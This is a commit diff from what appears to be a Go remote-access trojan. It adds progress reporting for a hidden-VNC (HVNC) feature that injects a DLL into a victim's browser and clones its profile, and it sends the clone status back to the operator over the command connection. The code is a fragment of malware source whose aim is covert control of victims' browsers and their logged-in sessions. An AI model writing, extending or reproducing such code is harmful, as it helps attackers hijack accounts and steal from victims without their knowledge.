add hvnc cloning progress, fix context menu stuff for mobile view, more updates
This commit is contained in:
@@ -1366,7 +1366,20 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v dllSize=%d", browser, exePath, clone, cloneLite, len(dllBytes))
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_browser_injected", nil, func() {
|
||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite); err != nil {
|
||||
var onProgress capture.CloneProgressFunc
|
||||
if clone {
|
||||
onProgress = func(percent int, copiedBytes, totalBytes int64, status string) {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCCloneProgress{
|
||||
Type: "hvnc_clone_progress",
|
||||
Browser: browser,
|
||||
Percent: percent,
|
||||
CopiedBytes: copiedBytes,
|
||||
TotalBytes: totalBytes,
|
||||
Status: status,
|
||||
})
|
||||
}
|
||||
}
|
||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, onProgress); err != nil {
|
||||
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
||||
}
|
||||
})
|
||||
|
||||
Reference in New Issue
Block a user